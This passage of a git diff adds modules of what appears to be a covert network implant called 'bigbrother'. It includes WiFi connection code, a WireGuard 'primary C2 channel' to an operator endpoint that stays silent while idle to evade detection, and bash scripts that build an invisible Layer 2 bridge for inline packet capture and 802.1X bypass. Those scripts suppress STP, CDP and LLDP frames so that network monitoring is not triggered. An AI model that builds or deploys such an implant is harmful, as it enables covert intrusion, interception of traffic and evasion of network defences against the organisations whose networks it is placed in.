except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
def scan(self) -> list:
|
||||
"""Scan for available WiFi networks. Returns list of dicts."""
|
||||
networks = []
|
||||
try:
|
||||
# Trigger scan
|
||||
subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "scan"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
time.sleep(3.0) # Allow scan to complete
|
||||
|
||||
# Get results
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "scan_results"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.strip().splitlines()[1:]: # Skip header
|
||||
parts = line.split("\t")
|
||||
if len(parts) >= 5:
|
||||
networks.append({
|
||||
"bssid": parts[0],
|
||||
"frequency": int(parts[1]),
|
||||
"signal": int(parts[2]),
|
||||
"flags": parts[3],
|
||||
"ssid": parts[4] if len(parts) > 4 else "",
|
||||
})
|
||||
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.warning("WiFi scan failed: %s", exc)
|
||||
|
||||
# Fallback to iw if wpa_cli not available
|
||||
if not networks:
|
||||
networks = self._scan_iw()
|
||||
|
||||
return networks
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if WiFi is associated and has an IP address."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "status"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
status_dict = {}
|
||||
for line in result.stdout.strip().splitlines():
|
||||
if "=" in line:
|
||||
k, v = line.split("=", 1)
|
||||
status_dict[k.strip()] = v.strip()
|
||||
|
||||
wpa_state = status_dict.get("wpa_state", "")
|
||||
self._connected = wpa_state == "COMPLETED"
|
||||
return self._connected
|
||||
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def get_signal(self) -> Optional[int]:
|
||||
"""Get current signal strength in dBm."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[WPA_CLI_BIN, "-i", self._interface, "signal_poll"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
for line in result.stdout.strip().splitlines():
|
||||
if line.startswith("RSSI="):
|
||||
return int(line.split("=", 1)[1])
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError, ValueError):
|
||||
pass
|
||||
|
||||
# Fallback to /proc/net/wireless
|
||||
try:
|
||||
with open("/proc/net/wireless", "r") as f:
|
||||
for line in f:
|
||||
if self._interface in line:
|
||||
parts = line.split()
|
||||
if len(parts) >= 4:
|
||||
return int(float(parts[3]))
|
||||
except (IOError, ValueError, IndexError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Config generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_psk_config(self, ssid: str, psk: str) -> str:
|
||||
"""Write WPA2-PSK wpa_supplicant.conf."""
|
||||
config = (
|
||||
"ctrl_interface=/var/run/wpa_supplicant\n"
|
||||
"ctrl_interface_group=0\n"
|
||||
"update_config=0\n"
|
||||
"ap_scan=1\n"
|
||||
"\n"
|
||||
"network={\n"
|
||||
f' ssid="{ssid}"\n'
|
||||
f' psk="{psk}"\n'
|
||||
" key_mgmt=WPA-PSK\n"
|
||||
" proto=RSN\n"
|
||||
" pairwise=CCMP\n"
|
||||
" group=CCMP\n"
|
||||
"}\n"
|
||||
)
|
||||
return self._write_config_file(config)
|
||||
|
||||
def _write_enterprise_config(self, ssid: str, eap_method: str,
|
||||
identity: str, password: str,
|
||||
ca_cert: str = None,
|
||||
client_cert: str = None,
|
||||
private_key: str = None,
|
||||
phase2: str = "auth=MSCHAPV2") -> str:
|
||||
"""Write WPA2-Enterprise wpa_supplicant.conf (PEAP or EAP-TLS)."""
|
||||
config = (
|
||||
"ctrl_interface=/var/run/wpa_supplicant\n"
|
||||
"ctrl_interface_group=0\n"
|
||||
"update_config=0\n"
|
||||
"ap_scan=1\n"
|
||||
"\n"
|
||||
"network={\n"
|
||||
f' ssid="{ssid}"\n'
|
||||
" key_mgmt=WPA-EAP\n"
|
||||
f' eap={eap_method}\n'
|
||||
f' identity="{identity}"\n'
|
||||
)
|
||||
|
||||
if eap_method.upper() == "PEAP":
|
||||
config += f' password="{password}"\n'
|
||||
config += f' phase2="{phase2}"\n'
|
||||
if ca_cert:
|
||||
config += f' ca_cert="{ca_cert}"\n'
|
||||
elif eap_method.upper() == "TLS":
|
||||
if ca_cert:
|
||||
config += f' ca_cert="{ca_cert}"\n'
|
||||
if client_cert:
|
||||
config += f' client_cert="{client_cert}"\n'
|
||||
if private_key:
|
||||
config += f' private_key="{private_key}"\n'
|
||||
|
||||
config += "}\n"
|
||||
return self._write_config_file(config)
|
||||
|
||||
def _write_config_file(self, content: str) -> str:
|
||||
"""Write config to tmpfs and return path."""
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
config_path = os.path.join(tmpdir, f".wpa_{self._interface}.conf")
|
||||
|
||||
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, content.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
return config_path
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _wait_for_connection(self, timeout: int = CONNECT_TIMEOUT) -> bool:
|
||||
"""Wait for wpa_supplicant to complete association."""
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
if self.is_connected():
|
||||
# Request DHCP lease
|
||||
self._request_dhcp()
|
||||
return True
|
||||
time.sleep(1.0)
|
||||
|
||||
logger.warning("WiFi connection timed out after %ds", timeout)
|
||||
return False
|
||||
|
||||
def _request_dhcp(self) -> None:
|
||||
"""Request a DHCP lease on the WiFi interface."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhclient", "-1", "-nw", self._interface],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.debug("dhclient not available, trying dhcpcd")
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhcpcd", "-1", self._interface],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.warning("No DHCP client available for %s", self._interface)
|
||||
|
||||
def _kill_existing_wpa(self) -> None:
|
||||
"""Kill any existing wpa_supplicant on our interface."""
|
||||
pid_file = f"/var/run/wpa_supplicant_{self._interface}.pid"
|
||||
if os.path.isfile(pid_file):
|
||||
try:
|
||||
pid = int(open(pid_file).read().strip())
|
||||
os.kill(pid, 15) # SIGTERM
|
||||
time.sleep(0.5)
|
||||
except (ValueError, ProcessLookupError, PermissionError, IOError):
|
||||
pass
|
||||
|
||||
# Also kill by interface match
|
||||
try:
|
||||
subprocess.run(
|
||||
["pkill", "-f", f"wpa_supplicant.*{self._interface}"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
def _scan_iw(self) -> list:
|
||||
"""Fallback scan using iw command."""
|
||||
networks = []
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["iw", "dev", self._interface, "scan", "-u"],
|
||||
capture_output=True, text=True, timeout=15,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return networks
|
||||
|
||||
current = {}
|
||||
for line in result.stdout.splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("BSS "):
|
||||
if current:
|
||||
networks.append(current)
|
||||
bssid = line.split()[1].split("(")[0]
|
||||
current = {"bssid": bssid, "ssid": "", "signal": 0, "frequency": 0}
|
||||
elif line.startswith("SSID:"):
|
||||
current["ssid"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("signal:"):
|
||||
try:
|
||||
current["signal"] = int(float(line.split(":")[1].strip().split()[0]))
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
elif line.startswith("freq:"):
|
||||
try:
|
||||
current["frequency"] = int(line.split(":")[1].strip())
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
if current:
|
||||
networks.append(current)
|
||||
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
return networks
|
||||
@@ -0,0 +1,284 @@
|
||||
#!/usr/bin/env python3
|
||||
"""WireGuard module — primary C2 channel.
|
||||
|
||||
Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0
|
||||
means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
|
||||
no coordination servers. The tunnel activates instantly when the operator
|
||||
sends a packet.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.wireguard")
|
||||
|
||||
WG_INTERFACE = "wg0"
|
||||
HEALTH_CHECK_TIMEOUT = 5 # seconds
|
||||
|
||||
|
||||
class WireGuard(BaseModule):
|
||||
"""Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""
|
||||
|
||||
name = "wireguard"
|
||||
module_type = "connectivity"
|
||||
priority = -200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._interface = WG_INTERFACE
|
||||
self._config_path: Optional[str] = None
|
||||
self._endpoint: Optional[str] = None
|
||||
self._peer_allowed_ips: Optional[str] = None
|
||||
self._connected = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
if not wg_cfg:
|
||||
logger.error("No wireguard config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._endpoint = wg_cfg.get("endpoint")
|
||||
private_key_file = wg_cfg.get("private_key_file")
|
||||
peer_public_key = wg_cfg.get("peer_public_key")
|
||||
self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
|
||||
listen_port = wg_cfg.get("listen_port", 51820)
|
||||
address = wg_cfg.get("address", "10.0.0.2/24")
|
||||
|
||||
if not all([self._endpoint, private_key_file, peer_public_key]):
|
||||
logger.error("wireguard config missing required fields: endpoint, "
|
||||
"private_key_file, peer_public_key")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Read private key
|
||||
try:
|
||||
private_key = Path(private_key_file).read_text().strip()
|
||||
except (OSError, IOError) as exc:
|
||||
logger.error("Cannot read WireGuard private key: %s", exc)
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Write transient WireGuard config
|
||||
self._config_path = self._write_config(
|
||||
private_key=private_key,
|
||||
address=address,
|
||||
listen_port=listen_port,
|
||||
peer_public_key=peer_public_key,
|
||||
endpoint=self._endpoint,
|
||||
allowed_ips=self._peer_allowed_ips,
|
||||
)
|
||||
|
||||
if not self.up():
|
||||
logger.error("Failed to bring up WireGuard interface")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"endpoint": self._endpoint},
|
||||
source_module=self.name)
|
||||
logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.down()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
# Cleanup transient config
|
||||
if self._config_path and os.path.isfile(self._config_path):
|
||||
try:
|
||||
os.unlink(self._config_path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("WireGuard tunnel down")
|
||||
|
||||
def status(self) -> dict:
|
||||
connected = self.is_connected()
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": connected,
|
||||
"endpoint": self._endpoint,
|
||||
"interface": self._interface,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# WireGuard operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def up(self) -> bool:
|
||||
"""Create wg interface, apply config, bring up."""
|
||||
try:
|
||||
# Add WireGuard interface
|
||||
subprocess.run(
|
||||
["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
except subprocess.CalledProcessError:
|
||||
# Interface may already exist — try to continue
|
||||
logger.debug("Interface %s may already exist, continuing", self._interface)
|
||||
|
||||
try:
|
||||
# Apply WireGuard config
|
||||
subprocess.run(
|
||||
["wg", "setconf", self._interface, self._config_path],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
# Assign address from config
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
address = wg_cfg.get("address", "10.0.0.2/24")
|
||||
subprocess.run(
|
||||
["ip", "addr", "add", address, "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
# Bring interface up
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "up", "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
logger.info("WireGuard interface %s is up", self._interface)
|
||||
return True
|
||||
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
|
||||
self._cleanup_interface()
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("WireGuard command timed out")
|
||||
self._cleanup_interface()
|
||||
return False
|
||||
|
||||
def down(self) -> bool:
|
||||
"""Bring down and remove wg interface."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "down", "dev", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "link", "del", "dev", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
logger.info("WireGuard interface %s removed", self._interface)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("Error tearing down WireGuard: %s", exc)
|
||||
return False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if WireGuard tunnel is active by pinging peer through tunnel."""
|
||||
if not self._running:
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["wg", "show", self._interface, "latest-handshakes"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
# Parse latest handshake timestamp — if it's 0 or missing, no peer
|
||||
for line in result.stdout.strip().splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
ts = int(parts[1])
|
||||
if ts > 0:
|
||||
# Handshake occurred — tunnel is alive
|
||||
return True
|
||||
# No handshake yet is OK — PersistentKeepalive=0 means tunnel is
|
||||
# dormant until operator connects. Interface being up is sufficient.
|
||||
iface_check = subprocess.run(
|
||||
["ip", "link", "show", self._interface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return iface_check.returncode == 0
|
||||
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
|
||||
return False
|
||||
|
||||
def get_endpoint(self) -> Optional[str]:
|
||||
"""Return the configured endpoint address."""
|
||||
return self._endpoint
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_config(self, private_key: str, address: str, listen_port: int,
|
||||
peer_public_key: str, endpoint: str,
|
||||
allowed_ips: str) -> str:
|
||||
"""Write a transient WireGuard config file and return its path."""
|
||||
config_content = (
|
||||
f"[Interface]\n"
|
||||
f"PrivateKey = {private_key}\n"
|
||||
f"ListenPort = {listen_port}\n"
|
||||
f"\n"
|
||||
f"[Peer]\n"
|
||||
f"PublicKey = {peer_public_key}\n"
|
||||
f"Endpoint = {endpoint}\n"
|
||||
f"AllowedIPs = {allowed_ips}\n"
|
||||
f"PersistentKeepalive = 0\n"
|
||||
)
|
||||
|
||||
# Write to tmpfs if available, else /tmp
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")
|
||||
|
||||
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, config_content.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
return config_path
|
||||
|
||||
def _cleanup_interface(self) -> None:
|
||||
"""Best-effort cleanup of a partially-created interface."""
|
||||
try:
|
||||
subprocess.run(["ip", "link", "del", "dev", self._interface],
|
||||
capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
Executable
+142
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env bash
|
||||
# Create transparent bridge between two interfaces
|
||||
# Usage: setup_bridge.sh <if1> <if2>
|
||||
# No IP assigned — invisible on network
|
||||
#
|
||||
# This script creates a Layer 2 bridge for inline packet capture and
|
||||
# 802.1X bypass. The bridge has NO IP address, making it undetectable
|
||||
# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via
|
||||
# ebtables to avoid triggering network monitoring systems.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Validate arguments
|
||||
# --------------------------------------------------------------------------
|
||||
if [[ $# -ne 2 ]]; then
|
||||
echo "Usage: $0 <interface1> <interface2>" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IF1="$1"
|
||||
IF2="$2"
|
||||
|
||||
# Verify interfaces exist
|
||||
for iface in "$IF1" "$IF2"; do
|
||||
if ! ip link show "$iface" &>/dev/null; then
|
||||
echo "Error: interface $iface does not exist" >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Cleanup any existing bridge
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Removing existing bridge $BRIDGE"
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Create bridge
|
||||
# --------------------------------------------------------------------------
|
||||
echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
|
||||
|
||||
# Create the bridge device
|
||||
ip link add name "$BRIDGE" type bridge
|
||||
|
||||
# Disable Spanning Tree Protocol
|
||||
ip link set "$BRIDGE" type bridge stp_state 0
|
||||
|
||||
# Zero forwarding delay — start forwarding immediately
|
||||
ip link set "$BRIDGE" type bridge forward_delay 0
|
||||
|
||||
# Disable ageing to keep all MACs in forwarding table
|
||||
ip link set "$BRIDGE" type bridge ageing_time 0
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Configure interfaces
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Flush any existing IP addresses — bridge must have no L3 presence
|
||||
ip addr flush dev "$IF1" 2>/dev/null || true
|
||||
ip addr flush dev "$IF2" 2>/dev/null || true
|
||||
|
||||
# Set promiscuous mode — capture all frames
|
||||
ip link set "$IF1" promisc on
|
||||
ip link set "$IF2" promisc on
|
||||
|
||||
# Disable multicast snooping (avoid IGMP interference)
|
||||
echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
|
||||
|
||||
# Add interfaces to bridge
|
||||
ip link set "$IF1" master "$BRIDGE"
|
||||
ip link set "$IF2" master "$BRIDGE"
|
||||
|
||||
# Bring everything up
|
||||
ip link set up dev "$IF1"
|
||||
ip link set up dev "$IF2"
|
||||
ip link set up dev "$BRIDGE"
|
||||
|
||||
# Ensure bridge has NO IP address
|
||||
ip addr flush dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# ebtables rules — suppress discovery protocols
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Check if ebtables is available
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Applying ebtables suppression rules"
|
||||
|
||||
# Flush existing rules
|
||||
ebtables -F 2>/dev/null || true
|
||||
|
||||
# STP/BPDU — 01:80:C2:00:00:00
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP
|
||||
|
||||
# CDP/VTP — 01:00:0C:CC:CC:CC
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP
|
||||
|
||||
# LLDP — 01:80:C2:00:00:0E
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP
|
||||
|
||||
# Cisco PVST+ — 01:00:0C:CC:CC:CD
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP
|
||||
|
||||
# LLDP alternate — 01:80:C2:00:00:03
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP
|
||||
|
||||
# 802.1X EAP passthrough — allow EAP frames across the bridge
|
||||
# (default FORWARD policy is ACCEPT, so EAP frames pass unless
|
||||
# we explicitly blocked them above — we only block management protos)
|
||||
else
|
||||
echo "Warning: ebtables not installed — protocol suppression skipped" >&2
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify bridge is active
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" | grep -q "state UP"; then
|
||||
echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
|
||||
bridge link show
|
||||
exit 0
|
||||
else
|
||||
echo "Error: bridge $BRIDGE failed to come up" >&2
|
||||
exit 1
|
||||
fi
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env bash
|
||||
# Teardown bridge and restore interfaces
|
||||
#
|
||||
# Removes the transparent bridge, flushes ebtables rules, and restores
|
||||
# the original interface state. Safe to call even if the bridge is
|
||||
# already down or partially broken.
|
||||
|
||||
set -uo pipefail
|
||||
# Note: no -e — we want all cleanup steps to run even if some fail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
echo "Tearing down bridge $BRIDGE"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Identify bridge members before removal
|
||||
# --------------------------------------------------------------------------
|
||||
MEMBERS=()
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
while IFS= read -r line; do
|
||||
iface=$(echo "$line" | awk '{print $2}' | tr -d ':')
|
||||
if [[ -n "$iface" ]]; then
|
||||
MEMBERS+=("$iface")
|
||||
fi
|
||||
done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+')
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove ebtables rules
|
||||
# --------------------------------------------------------------------------
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Flushing ebtables rules"
|
||||
ebtables -F 2>/dev/null || true
|
||||
ebtables -X 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Bring bridge down
|
||||
# --------------------------------------------------------------------------
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove interfaces from bridge and restore state
|
||||
# --------------------------------------------------------------------------
|
||||
for iface in "${MEMBERS[@]}"; do
|
||||
echo "Restoring interface: $iface"
|
||||
|
||||
# Remove from bridge
|
||||
ip link set "$iface" nomaster 2>/dev/null || true
|
||||
|
||||
# Disable promiscuous mode
|
||||
ip link set "$iface" promisc off 2>/dev/null || true
|
||||
|
||||
# Re-enable IPv6
|
||||
sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# Bring interface up (in case it was downed)
|
||||
ip link set up dev "$iface" 2>/dev/null || true
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Delete bridge device
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
echo "Bridge $BRIDGE deleted"
|
||||
else
|
||||
echo "Bridge $BRIDGE already removed"
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Re-enable IPv6 globally on bridge name (cleanup)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify cleanup
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Warning: bridge $BRIDGE still exists after teardown" >&2
|
||||
exit 1
|
||||
else
|
||||
echo "Bridge teardown complete"
|
||||
exit 0
|
||||
fi
|
||||
Reference in New Issue
Block a user